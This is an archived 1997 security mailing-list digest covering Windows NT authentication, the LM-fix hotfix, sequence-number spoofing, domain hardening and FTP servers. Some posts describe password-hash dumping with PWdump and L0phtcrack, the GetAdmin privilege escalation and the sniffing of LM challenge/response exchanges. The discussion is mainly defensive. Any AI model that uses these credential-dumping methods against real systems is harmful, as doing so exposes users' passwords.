> > > I would think that this indicates:
> > > a) that the information in the WINS database *might* be pulled down
> > if
> > > someone could duplicate the transaction. (of some value to hackers,
> > > perhaps).
> > > b) that it would be possible to craft a DoS attack, where bogus data
> > is
> > > entered into the WINS database -- or even where false data is put in
> > for
> > > real machines.
> > >
> > > Of course, I could also be bored and have too much time on my hands.
> > >
> > >
> > > --
> > > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> > >
> > > -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > > -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> > >
> > >
> > >
> >
> > --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> 
> ------------------------------
> 
> Date: Sat, 12 Jul 1997 21:16:01 +0300
> From: Alex Libenson 
> Subject: [NTSEC] new post SP3 hotfix: lm-fix
> 
> ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/lm-fix
> 
> DOCUMENT:Q147706
> TITLE :How to Disable LM Authentication on Windows NT
> PRODUCT :Microsoft Windows NT, Windows 95, Windows for Workgroups 3.11 and LAN Manager 2.2c
> PROD/VER:2.2 3.11 4.0 95
> OPER/SYS:WINDOWS
> KEYWORD :kberrmsg kbfile ntsecurity NTSrvWkst ntstop
> 
> - --------------------------------------------------------------------------
> The information in this article applies to:
> 
> - Microsoft Windows NT Workstation version 4.0
> - Microsoft Windows NT Server version 4.0
> - Microsoft LAN Manager version 2.2c
> - Microsoft Windows for Workgroups version 3.11
> - Microsoft Windows 95
> - --------------------------------------------------------------------------
> 
> SUMMARY
> =======
> 
> Windows NT supports the following two types of challenge/response
> authentication:
> 
> - LanManager (LM) challenge/response
> - Windows NT challenge/response
> 
> To allow access to servers that only support LM authentication, Windows NT
> clients currently send both authentication types. Microsoft developed a
> patch that supports a new registry key that allows clients to be configured
> to send only Windows NT authentication.
> 
> MORE INFORMATION
> ================
> 
> Microsoft has posted the patch at the following Internet location:
> 
> NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to applying
> this fix.
> 
> ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
> hotfixes-postSP3/lm-fix
> 
> The new registry parameter was added to the following registry key:
> 
> HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA
> 
> Value: LMCompatibilityLevel
> Value Type: REG_DWORD - Number
> Valid Range: 0,1,2
> Default: 0
> 
> Description: This parameter specifies the type of authentication to be
> used.
> 
> Level 0 Send LM and Windows NT authentication (default).
> Level 1 Send Windows NT authentication and LM authentication only if the
> server requests it.
> Level 2 Never send LM authentication.
> 
> If a Windows NT client selects level 2, it cannot connect to servers that
> support only LM authentication, such as Windows 95 and Windows for
> Workgroups.
> 
> NOTE: If the last password change came from a Windows for Workgroups or MS-
> DOS LanManager 2.x or earlier client, the data needed for Windows NT
> authentication will not be available on the domain controller and a client
> selecting level 2 will not be able to connect to Windows NT-based servers.
> 
> To eliminate LM authentication with protocols other than remote file
> sharing (for example, Microsoft RPC, RAS, Internet Information Server
> (IIS), or Internet Explorer -- anything that uses the NTLMSSP), both the
> client and the server need to have the hotfix installed.
> 
> After installing the hotfix, perform the following steps to configure the
> LM compatibility level on a computer running Windows NT Workstation or
> Server:
> 
> WARNING: Using Registry Editor incorrectly can cause serious, system-wide
> problems that may require you to reinstall Windows NT to correct them.
> Microsoft cannot guarantee that any problems resulting from the use of
> Registry Editor can be solved. Use this tool at your own risk.
> 
> 1. Run Registry Editor (Regedt32.exe).
> 
> 2. From the HKEY_LOCAL_MACHINE subtree, go to the following key:
> 
> HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA
> 
> 3. Click Add Value on the Edit menu.
> 
> 4. Add the following two values:
> 
> Value Name: LMCompatibilityLevel
> Data Type: REG_DWORD
> Data: 0 (default), 1, or 2
> 
> 5. Click OK and then quit Registry Editor.
> 
> 6. Shut down and restart Windows NT.
> 
> STATUS
> ======
> 
> Microsoft has confirmed this to be a problem in Windows NT version 4.0.
> A supported fix is now available, but has not been fully regression-tested
> and should be applied only to systems experiencing this specific problem.
> Unless you are severely impacted by this specific problem, Microsoft
> recommends that you wait for the next Service Pack that contains this fix.
> Contact Microsoft Technical Support for more information.
> 
> Additional query words: 4.00 prodnt win95 wfwg
> 
> ============================================================================
> 
> THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
> PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
> ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
> OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
> EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
> ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
> CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
> MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
> POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
> OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
> SO THE FOREGOING LIMITATION MAY NOT APPLY.
> 
> - --------------------------------------------------------------------
> Alex Libenson E-mail: alex@dan.lv
> DAN Communications Homepage: http://www.bit.lv/alex/
> Phone: +371-7336070
> 8, Antonijas str. +371-7336071
> LV-1010, Riga, Latvia Fax: +371-7334929
> - --------------------------------------------------------------------
> 
> ------------------------------
> 
> Date: Sat, 12 Jul 1997 14:37:29 -0400
> From: David LeBlanc 
> Subject: Re: [NTSEC] sequence predictability
> 
> At 15:08 7/11/97 -0400, Illuminatus Primus wrote:
> >On Mon, 7 Jul 1997, David LeBlanc wrote:
> 
> >> What you can run into is a situation where even given a very random sequence
> >> number generation scheme, you'll have the difference be the same for more
> >> than one pair of packets. Note that if you send 24 packets for your sample,
> >> and you guess just one, you get ~5%...
> 
> >Well, the statistics seemed to suggest that ~5% (and sometimes less) rate
> >of predictability was common.. Even if it was a one-time lucky hit,
> >1:4294967296 odds are usually pretty difficult to overcome.. I'd recommend
> >trying your hand at the lottery. If the predictability scanner is already
> >using varying port numbers (and in the best case) varying source IPs (this
> >would take a little bit of setting up) and you made a lucky hit, then
> >something is probably going wrong in the linux random number generator. If
> >you are being lazy and using the same port & ip combination for each
> >connection request, then the numbers you are getting could be
> >misleading... and this might apply to other operating systems too. I'd
> >venture to guess that ~5% is the around the rate of predictability you get
> >when you are getting sequences that are simply incremented every
> >millisecond...
> 
> The scanner uses a new port for each attempt, but I believe the same IP address.
> I understand the odds would theoretically be 1:2^32, but apparently they are
> not. I frequently get one guess out of a run. Sometimes I get zero. I
> really can't explain it, except to venture that the difference between two
> subsequent connection attempts is not quite as random as the odds would seem.
> 
> >> I'd venture that actually spoofing something with a sequence generation
> >> method such as Linux uses would be somewhat difficult, but as you point out,
> >> you could essentially brute force it until you got lucky.
> 
> >4294967296 tries would probably take longer than linux would leave the
> >connection open. Even half that (the average amount of tries it would
> >take) would be hard to work through in enough time.
> 
> I completely agree. However, the same sort of logic applies to password
> cracking. OTOH, these are results from one of our Linux machines:
> 
> 0 out of 14 (0.00 %)
> 1 out of 18 (5.56 %)
> 
> It would seem to me that Linux is _very_ hard to spoof, and we've never been
> able to actually accomplish a spoof against a recent Linux machine. Another
> point I would make is that it is non-trivial to spoof even a very
> predictable machine under the best of conditions. Despite the fact it is
> _theoretically_ possible to spoof something which is even a little
> predictable, our practical experience tells me that this isn't always easy
> to actually pull off. Personally, I would not feel that spoofing would be
> an effective way to breach a Linux machine, and would pursue other holes.
> 
> Besides which - anyone who is running rsh outside the firewall needs their
> head examined.
> 
> - -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |
> 
> ------------------------------
> 
> End of ntsecurity-digest V2 #585
> ********************************

-- 
Daemeon Reiydelle
Systems Engineer, Anthropomorphics Inc.
v - 510-524-0310
f - 510-451-0118
daemeonr@anthros.com
On Wed, 16 Jul 1997, David R. Linn wrote:

> If I had started off with the "single master domain" model, this would
> be easy to do while staying within the MS recommendations.
> Unfortunately, since we chose to go with the "single domain" model, I
> cannot do as I have been asked and stay within the MS recommendations.

Microsoft recommendations are just that: reccomendations of models suited
for various organizations: as example. Feel free to step outside of those
boundaries if it suits your need, however be careful and keep in mind how
domains and trusts and global trusts work. You don't want to break
security by opening up too much access, nor be too tight in security by
closing off too many "holes" and interfearing with what you define as
legal access. 

Bottom line: Trusting domains are "resource" and Trusted are "master."
Complete trust just means both sides act as resource and master.

How you set up your model is up to you. You might want to chose to use
the complete trust model if you want to stick to MS standards, but this
could be too much access. If you chose this path, make sure you close off
access to the guest account, make sure you don't have any extraneous "Full
Control" level acesses, make sure you don't have too many "Everyone" group
accesses. Take care to give explicit access to groups of your domain and
groups from the outside domain and not rely on the special built in
groups. Be careful of who is in the local Administrators and the global
Domain Administrators group.

Bottom line is that these control access permissions, and not the domain
model. Rely not on share level permissions - set these to "Everyone
Change" and instead fine tune them at the NTFS level. (You are using NTFS
rather than FAT, right?)

You might also want to write some script - batch file or Perl that runs
CACLS on every directory and then read the output of this file to make
sure you don't give excessive perms to "Everyone" or "Guests" and audit
your security policies carefully.

Disable the built in administration shares of the local drives on servers
unless you really need them. Also secure your machines's registries.

You might also wish to hunt down users who shouldn't have access to the
other domain and set them to be "Local" rather than "Global" accounts. Do
the same on the other domain with the other Domain's admins.

Further, make sure your systems are well patched and that you remove
excessive bindings and protocols that are not needed. If your
organization has internet access, you might want to remove TCP/IP bindings
for the Server, Browser, Workstation and other applicable services, etc...

Turn on file auditing on shares for sensitive stuff, and watch the logs
like a hawk - several times a day! Not an easy job.

Another thing: I've also found that you can give direct access to foreign
Global groups WITHOUT having to make them members of local groups - though
it is easier to manage local groups sometimes. Ditto for users, but it's
a bad idea to give global users explicit ACE's - unless you wish to apply
the "No Access" right. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

Just sniff the wire -- it's in each name lookup request in the clear
(almost -- see RFC 1001/1002). You're right that it's just security thru
obscurity.

> ----------
> From: Eric Germann[SMTP:ekgermann@cctec.com]
> Reply To: Eric Germann
> Sent: Wednesday, July 16, 1997 1:30 PM
> To: Mike Sheehy
> Cc: ntsecurity@iss.net; Aymeric Grassart
> Subject: Re: [NTSEC] Scope ID
> 
> Its actually been around since the beginning of NetBIOS over IP.
> RFC1001/1002 refer to it. It has generally been left at NULL since it
> does
> become a deployment headache if you don't have all the nodes with
> matching
> scope ID's.
> 
> Pretty much a security through obscurity thing, but one which is
> intriguing. Is there any way to discover it remotely? NBTSTAT -n
> displays
> the local name table with the scope ID, but NBTSTAT -A doesn't appear
> to.
> Set it to an obscur string and it may be a solution?????
> 
> David, et. al. know of any ways to get at it remotely?
> 
Paul
Misha Gopaul wrote:
> 
> Here's some code that i thought might be of interest to a few people.
> It is supposed to be able to "getadmin" even AFTER the patch has been
> installed...
> 
> Any comments? - any ideas on how to prevent this one (oh btw, before i
> get shouted at cos it doesn't do anything of the sort, I haven't tested
> this. - (I haven't the means at the moment), however, i'm assured that
> it does...
> 
> cya
> Misha

Hi,

It seems to me that your computer's system time is wrong. This usually
confuses
a lot of mailers.
About the exploit, it works very well after the ORIGINAL July 8 hotfix. 
You can find more informations at http://www.gecad.ro/~craiu/ in the
SECURITY->DOCS section.
A new patch was released by Microsoft, and the date of the release seems
to be June 15.
The new patch is supposed to close this problem as well.

As a side note, the patch consists in a new win32k.sys module (which
replaces
the old win32k.sys vulnerable to the EAX=4346 call) and a new user32.dll
as well
as a new kernel (UP and MP).

I think I know the purpose of the new WIN32K.SYS and NTOS files, but I
can't find
the purpose of the new USER32.DLL file. Ideeas, anyone ?



bye,
c0s

Costin RAIU, Data Security Expert

E-MAIL : BUSINESS mailto:craiu@gecad.ro, PERSONAL craiu@usa.net
PGP Key : http://www.gecad.ro/~craiu/craiu.asc (or search www.pgp.com)
KeyID : 2048/DD35A295 Costin RAIU 
Key fingerprint = FD 14 2A 90 64 41 58 9A 6B 34 47 D8 C5 E2 F4 5C



> ----------
> From: dougr@headspace.com[SMTP:dougr@headspace.com]
> Reply To: dougr@headspace.com
> Sent: Wednesday, July 16, 1997 5:42 PM
> To: ntsecurity@iss.net
> Cc: Manoj Nayar; FKnobbe@BellSouth.net
> Subject: RE: [NTSEC] [Fwd: L0phtcrack 1.5]
> 
> Thanks for all the answers on this - 
> 
> >run tools\dump Password Registry and just type in the unc path
> name..it
> >will dump the hashed passwords for you. You should be having admin
> >privlgs though..
> >
> >have tried it on multiple servers and it has worked in every case.
> >
> 
> That's exactly what I have been trying - on all machines, both as user
> 
> and administrator, locally and over the network. Only one has worked -
> my 
> main server, of course...
> 
> This advice from Frank Knobbe is probably on track:
> 
> >Check and compare the security settings on a failed and the
> >successful machine. You probably don't have read rights on the SAM
> >key, which is good :)
> 
> I did a quick check of this before, but nothing in depth. I'll dig in
> and 
> find out.
> 
> A crack that requires admin status is a dubious crack, no?
> 
In fact, it requires the admin to have physical access to the machine to
be attacked, if the DC is configured right.
See the service pack 3 (SP3) readme file for information on how to
configure it with the latest fixes.

> I admit it's a 
> great thing to be able to unlock all the users on the machine, but the
> 
> requirements for this crack seem high if an NT newbie such as myself
> has 
> systems that are (relatively) secure against it.
> 
> Of course, this ignores the getAdmin app...
> 
If you care about security, your DCs should be in locked rooms, so the
attacked shouldn't be able to get at it to run getAdmin.

Paul


> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Thursday, July 17, 1997 7:24 AM
> To: Paul Leach
> Cc: ntsecurity; 'webmaster@istn.net'
> Subject: RE: [NTSEC] Re: ntsecurity-digest V2 #588
> 
> The patch is, of course, useless until patches are
> released for Windows 3.x, Windows 95, and Windows
> NT 3.x.
> 
It increases security, even with no fixes for those platforms. A user
that always logs in from an NT client will not have their password
exposed in the LM challenge/response. In my book, that means it's not
useless.

> If I read the release notes for the patch correctly, it
> breaks all those clients if you set it to the level
> of protection needed to prevent sniifer-based
> capturing that can't easily be decrypted.
> 
You read it wrong (although it may not be clear enough). If you install
it in NT 4 clients and servers, then NT4 clients will not be vulnerable
to cracking the sniffed LM challenge/response. The other clients will
still be be able to connect to NT4 servers, but their connections will
be vulnerable to cracking the sniffed LM challenge/response. NT4 clients
will not be able to connect to servers without the hot-fix applied
(except for file servers, where any NT server will work).

Paul
Hi Everyone;

I am having trouble implementing a Verisign SSL certificate on an NT4.0
SP3, IIS3.0 webserver. I believe the service pack to be the us version as
it was found under the US\bussys ftp directory. The certificate is the one
that costs 290.00, and says that it is by RSA\Verisign for webservers). I
installed it no problem. Key manager says it is ready to go. Then I apply
it to a directory by checking the 'Require Secure Channel' box, and restart
the w3 service. (rebooted just in case) Server comes up OK. W3svc starts
no trouble. I can access the unprotected stuff just fine, but when I try
to access a page in this directory (ht tps://server/vroot/page.asp), I get
a message that says:

403 Access Forbidden
Secure Channel required. This virtual root requires a browser that supports
the configured encryption options.

I have tried IE3 and Netscape 4. IE3 shows RSA\Verisign secure server
certificate in the allowed certificates interface, and I have toggled all
of the settings to allow this kind of transaction. I have had others try
it over the web and I have tried several client machines to be sure. No go.


I have opened TCP 443 on the firewall (Raptor Eagle NT) and webserver
external NIC, and I can Telnet into port 443 on the webserver from the
internet. It dies real fast, but DOES connect. Is there anything else in
IIS that has to be set up? Is my certificate not supported by browsers by
default? What am I missing?!?!

Thanks,

Scott A. Colvin
Principal Consultant
Pacific Management Center
 
Well, that is an improvement over what I thought the
situation was. Thanks for the correction. At least MS 
shops with fewer older clients will have to pass the 
LM challenge/response less often.

Any idea when/if a patch will be made available
for NT 3.x and Win95 so they can do the more
secure exchange?

 Ryan

---------- Previous Message ----------
To: paulle, Ryan.Russell
cc: ntsecurity, webmaster
From: paulle@microsoft.com (Paul Leach) @ smtp
Date: 07/17/97 01:06:41 PM
Subject: RE: [NTSEC] lm-fix (was: ntsecurity-digest V2 #588)



> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Thursday, July 17, 1997 7:24 AM
> To: Paul Leach
> Cc: ntsecurity; 'webmaster@istn.net'
> Subject: RE: [NTSEC] Re: ntsecurity-digest V2 #588
> 
> The patch is, of course, useless until patches are
> released for Windows 3.x, Windows 95, and Windows
> NT 3.x.
> 
It increases security, even with no fixes for those platforms. A user
that always logs in from an NT client will not have their password
exposed in the LM challenge/response. In my book, that means it's not
useless.

> If I read the release notes for the patch correctly, it
> breaks all those clients if you set it to the level
> of protection needed to prevent sniifer-based
> capturing that can't easily be decrypted.
> 
You read it wrong (although it may not be clear enough). If you install
it in NT 4 clients and servers, then NT4 clients will not be vulnerable
to cracking the sniffed LM challenge/response. The other clients will
still be be able to connect to NT4 servers, but their connections will
be vulnerable to cracking the sniffed LM challenge/response. NT4 clients
will not be able to connect to servers without the hot-fix applied
(except for file servers, where any NT server will work).

Paul



Hey,

running PWdump on different NT Workstations, Servers ( NT 3.51 - 4.0
with and without SPs) as Administrator ends with following Message:

"get_sid: LookupAccoutName for size on name Administrators failed. Error
was No mapping between account names and security IDs done."

Is this a good or a bad sign.

Is it anyhow possible to run PWdump, are our systems secure or just bad
configured ?

regards

Oliver Kling

Well i will make it as short as possible. I have a big problem, not
with L0phtcrack, but with the program pwdump. When i will run it on 
any machine (as administrotor of corse) it returns with the failure:

"get_sid: LookupAccountName for size on name Administrators failed"

When i read the manual of pwdump; it says the following:
"This handy utility dumps the password database of an NT machine that
is held in the NT registry under HKEY_LOCAL_MACHINE\SECURITY\SAM\
Domains\Account\Users ...."

But when i look into the registry there are two paths the one ends 
with HKEY_LOCAL_MACHINE\SECURITY\ and the other path ends with 
HKEY_LOCAL_MACHINE\SAM\SAM\. Both contains the values name: default 
and data: (value not set), but no one contains the words users!
Any ideas?

to the computers: I am running several machines with NT4 SP3 english
or german version.

michael

-------------------------------------------------------------------
Michael Slameczka
Laboratory for Biomechanics
Swiss Institute of Technology
email: slameczka@biomech.mat.ethz.ch
-------------------------------------------------------------------
Well actually, I was planning on using War-FTP, 
When installing it I noticed that the War-Ftp was using the last known ip address that was binded to the network card.
but I couldn't tell weather or not this was my fault(by misconfiguration) or the programs fault, also that I had the setting as Automatic Service but instead, when I logged off the War-FTP stopped running. Any suggestion or thought or help on this.



-----Original Message-----
From: Magnus Rixtorp [SMTP:marix@engelholm.se]
Sent: Wednesday, July 16, 1997 2:52 PM
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Secure FTP

Check out http://www.jgaa.com/tftpd.htm instead...

WAR FTP Daemon...

The following is a list of features of The FTP Demon

Compatibility 

Follows the RFC 959 and 1123 FTP specifications. 
Works with Cute-FTP, WS_FTP, ftp (the one following Win95 and NT), MS
Internet Explorer, Netscape Navigator, AmFTP, M-FTP, GuiFTP, - in fact,
there is hardly reported any incompatibility at all. 
Emulates standard UNIX ftp servers, including most ls line parameters and
ls formatted output. 
ABOR command supported. (Yes - it's listed in the RFC, but not all PC based
FTP servers can handle it). 
REST command supported (Resume an aborted transfer) 
Import filter for Serv-U user database 
Native support for NT service process mode. 
Optional Wu-ftpd compatible log for file transfers 
Operates on Windows95, Windows NT 3.51 (Intel only) and Windows NT 4.0
(Intel only). 
War FTP Daemon is a native 32 bit application and will not work on Windows
3.*. Requires 486 processor or better. 

Design 

Multithreading 
Dialog based system console 
Simple and advanced mode of operation, making it perfect for both small and
large FTP services. 
Users are organized in user-groups and user-classes to ease maintenance of
time-out, directory/file access etc. 
Automatic shutdown option when the last user has logged off 
Displays a list of all users online where you can kick one of them, edit
the user database entry, send a message to the user or even spy at the user
(see the last
given command, current directory, file transfers and a list of all files
this user has sent/received during the current session. 
Supports user supplied messages to the console through the SITE MSG command. 
Supports personal greeting messages to all users, groups and classes. 
Full OLE support for Win95/NT4 .lnk shortcuts 
Online and off-line operation 
In-memory transfer of directory listings 
DOS or UNIX style directory paths 
Mapping of paths to the root path 
Support for long filenames 
Virtual file system for improved performance and functionality, including
full UNIX-like security and links on directory and file level. 
Scheduled re-scans of the Virtual File system to handle changes made on the
file system outside the server. 
"On the fly" generation of index files for the current directory/all files
on the system (that the user is allowed to see) 
Support for comments on any file/directory in "on the fly" generated .index
files. 
Macros in the welcome files to display the users name, time-out limit etc. 
On single network/ppp connections, the server shows the current IP number
in an edit window, allowing copy/paste of the number to other applications. It
also saves this number to a file. 
Multihoming/multihosting support allows setup of several virtual FTP
servers based on the IP number the user connect to. Both
single-server/multiple domains
and multiple-servers/single (virtual) domain is supported. 
Firewall support - if FTP transfers is allowed, the War FTP Daemon is
reported to work with most firewalls. 
Context-sensitive Help 
Mounting of network drives at startup (NT service mode only) 
Denial of upload if the free disk space runs too low 
Flexible verification option on incoming files. This feature allows you to
use "plug-in" modules (external programs) to verify and validate incoming
files before
the upload is accepted by the server. Can be used for CRC checking, virus
scanning, processing of file_id.dix files etc. Several free plug-in modules
are made available by experienced War FTP daemon users. 
Option to handle brain dead ISP's (you know - those who try to block out
personal FTP sites on your ppp account) 
CD-ROM and CD-Julebox support (copy of files to harddisk prior to
transfering the file) 

Security 

High level of security with directory-level permissions for read, write,
execute, dir, mdkdir, rmdir and delete. 
Full UNIX security with user group and rwx permissions if the Virtual File
System is used 
Upload/Download ratio option for anonymous and regular users. Supports file
or byte check (upload # files/bytes for each # files/bytes to download). Free
files can be defined. 
Reports of user access privileges, directory access privileges, etc. 
Maximum number of concurrent connections for users, groups and classes. 
Maximum number of connections based on login IP number (allows you to have
## anonymous logins, but just # concurrent connections from one
workstation. Handy to prevent one user from taking up too many connections. 
Simple one-button enable or disable option for users, groups and classes 
IP level access control for the system, users, groups and classes. Incoming
connections can be refused before and after login based on the callers IP
address. 
Automatic disable of an account if a selectable number of bad passwords are
given 
"Not Wanted" list of files that will be refused. 
"Dupe checker" that can deny upload of any filename that exist within the
paths of the server 
Disconnect single users without shutting the system down 
Stop an ongoing file transfer without disconnecting the user 
No built-in limitations ("crippling"), "secret" connections to my site or
any other ugly stuff. 

//Magnus

>Serv-U FTP server. It allows you to assign a directory for each user, set
>disk quotas, Upload/Download ratios, different login messages for
different >users, etc. Its an excellent program. The only drawback is
that it does not >run as a service. The program is VERY inexpensive
(around $30)
>
> Check out www.cat-soft.com for more information....
>
>Charlie
>
>-----Original Message-----
>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>Sent: Wednesday, July 16, 1997 8:23 AM
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Secure FTP
>
>There is a way to configure NT's built in ftp server to drop you in a
>users home directory. THere is a white paper on MS's website...
>
>-----------------------------------------------------------
>Joshua J. Soliz,MCSE
>jsoliz@dpai.com
>Network Consultant
>DeCarlo, Paternite, And Associates, Inc.
>
>
>
>>-----Original Message-----
>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>Sent: Tuesday, July 15, 1997 7:16 PM
>>To: ntsecurity@iss.net
>>Subject: [NTSEC] Secure FTP
>>
>>A while ago someone mentioned a more secure NT FTP server that you could
>>configure to drop a user into their home directory rather than IIS's
>>"ftproot" but I can't for the life of me remember what it was called... any
>>takers?
>>
>>Martin
>>
>>________________________________________________________________________
>>T E L E P O R T W E B M A S T E R
>>
>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>
>>
>
>
 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans

The book is out, but bad news: SAMS apparently erred and the encrypted
message that the author offers to be cracked was NOT shipped on the
CDROM. SAMS claims that they will make the message (and the PGP public
key, as well as the *.asc files) available on their web site. In any
event, I have it on good authority that the author is willing to pay
100.00 to the first person that sucessfully cracks the message. In any
event, I have had so much mail about it, that I am posting the correct
title information here (and on some other lists.) There was apparently
also some confusion about the title. The info follows...

*** Original (discarded) Title ***

Cracking the Net: Hacker's Guide to Internet Security

*** Current Title and Info ***

Maximum Security
A Hacker's Guide to Securing Your Internet Site and Network
Publisher: SAMS.net (Macmillan imprint)
ISBN: 1575212684
Price: $49.95
CDROM: Ballista, SafeSuite, SuGuard, SATAN, Strobe, etc, etc.
Hi all,
Does anyone know of a port of Tripwire to NT?
If not, has anyone encountered a commercial, freeware or shareware utility that will perform a similar function?

Cheers,
Dave Meibusch
d.meibusch@abm.com.au


I must apologise to the list. My account was accidentally expired by
my employer for one or two days but now it is back on line.
 The story (in case interested): I had a job which ended at July the
2nd and because of this my account expired. I, how ever, got a new job
(even my title is the same, just a change of office) from the same
employer but my boss (apparently) forgot to tell the account operators
about this!-\ Strange.
 I'm sorry about the "account has expired" -replies you might have been
getting.

-- 
Juha Jäykkä, juolja@utu.fi
 Hi,
 
 I would also be very interested in any info on this topic.
 
 Keith


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Need utitlity to assign user right from command line
Author: "Jay Urbanski" at btsdub-inet
Date: 16/07/97 15:16


 Well the topic says it all. I need to grant advanced user rights for a 6000
server roll-out, and I don't look forward to doing click, click, click 6000 
times. Does anyone know of a utitlity to grant user rights to groups and users 
from a command line?
 
Jay Urbanski
strops@well.com

Well the topic says it all.  I need to grant advanced 
user rights for a 6000 server roll-out, and I don't look forward to doing click,

click, click 6000 times.  Does anyone know of a utitlity to grant user 
rights to groups and users from a command line?

Jay Urbanski
strops@well.com

> From: Frank Knobbe 
> Date: Thursday 17 July 1997 03:31
> 
> On 16 Jul 97 at 16:59, Doug Roberts wrote about: RE: [NTSEC] [Fwd:
> L0phtcrack 1.5]
> 
> > Yep - that was it. The one machine that was vulnerable had
> > administrators with Read and Write DAC permissions. Changing that to
> > Read only makes the crack fail.
> 
> Hm, I would think that the READ right is the one that would let you
> read the SAM database. Why would Read-Only make this fail... anyone?

The permissions in question control access to the registry ACLs, not the
registry data. By default on an NT machine, all keys/data under
HKEY_LOCAL_MACHINE\SAM have "SYSTEM: Full Control" and "Administrators:
Write DAC" and nothing more. It is important to understand the
consequences of this:

(You can use the Security->Permissions menu item in regedt32.exe (not the
new regedit.exe!) to view and set permissions on registry keys. Most
people make warnings about mucking with the registry, but this one's
really true. You can really screw your machine up by changing SAM
permissions if you don't understand exactly what the permissions mean!
RTM!)

SYSTEM clearly has to be able to access data in the SAM for internal
authentication. It is not clear that anyone else (not even
Administrators) has any need to view or change the SAM directly under
normal circumstances, and most systems work on the principal that such
access is BAD. The default permissions do NOT allow Administrators to
read or write SAM data.

The only exception is for backup/restore purposes - clearly you can't
backup something you can't see, and the SAM is a major part of the system
that may need to be preserved. The "Write DAC" access allows
Administrator not to read or write the registry data, directly, but to
alter the DACLs on registry data to grant themself access to the data. I
believe it is this which allows PWDump (when run as an admin) to grant
itself access to the SAM, read the password hashes, then reset the normal
DACLs.

The result of this is that removing "Write DAC" from the SAM prevents the
Administrator from assigning themself "Read" access to SAM data, and
therefore effectively Read-protects the SAM. (You may not be able to
backup the SAM after doing this though!)

> In your other post you wrote:
> > A crack that requires admin status is a dubious crack, no? I admit
> > it's a great thing to be able to unlock all the users on the
> > machine, but the requirements for this crack seem high if an NT
> > newbie such as myself has systems that are (relatively) secure
> > against it.

Remember GetAdmin from two weeks ago?

The 'crack' is actually quite useful to run as an Administrator - it
allows one to directly test the strength of user accounts (and thus
disable or change the passwords for those found to be weak). There are a
range of other attacks which can be run as a normal user (to either gain
admin rights or wreak other havoc), and so running crack internally
before the attackers do is a Good Thing. Conversely, leaving any hole
open that allows an attacker to find the password hashes to run crack on
is a Bad Thing.

John
-- 
remember i was always true; remember that i always tried 
remember i loved only you; remember me and smile... 
for it's better to forget than to remember me and cry
:-p

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 16 Jul 1997, Doug Roberts wrote:

> A crack that requires admin status is a dubious crack, no? I admit it's a 
> great thing to be able to unlock all the users on the machine, but the 
> requirements for this crack seem high if an NT newbie such as myself has 
> systems that are (relatively) secure against it.
Problem is, that it works also against sniffed passwords. And while this
is not a problem in certain settings, this is a problem for many sites,
where physical securing all network wires is not possible :(

Andreas


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM84zIlGrPWwMHrE1AQGpyAgA0cq9YuJYyW4BGeBgoUMI3RwD2F8nSiFI
OlEbVxZ1IzsD7UcwCpuFIS7jYgxYKonaX3/snNEpnA0lCFbpsKqDlqi4diGLDgdj
UhLE+KMOn9Wq9/tw0s0PSZA5VteJ0TOFsn6Gpjmoo2KvY5RVo6ho2ONx2zJ/y9hJ
PcCiV/aIXnNJ/67DSKgqxptvkOWwRsfSOHicCC4+mBjojoRiZC2PVk5frFidza1C
GgFutP6dHYHmPiUAl7k9cFzRqCDi4QTUSdQX1i3z/My8k/d8Z+gwR3r4qaBL9whB
We24QY7LnD5OckG8Z/AtsXZOpQjyxJKi4B8qdF+LxNuq39aZOUhW0A==
=H/4r
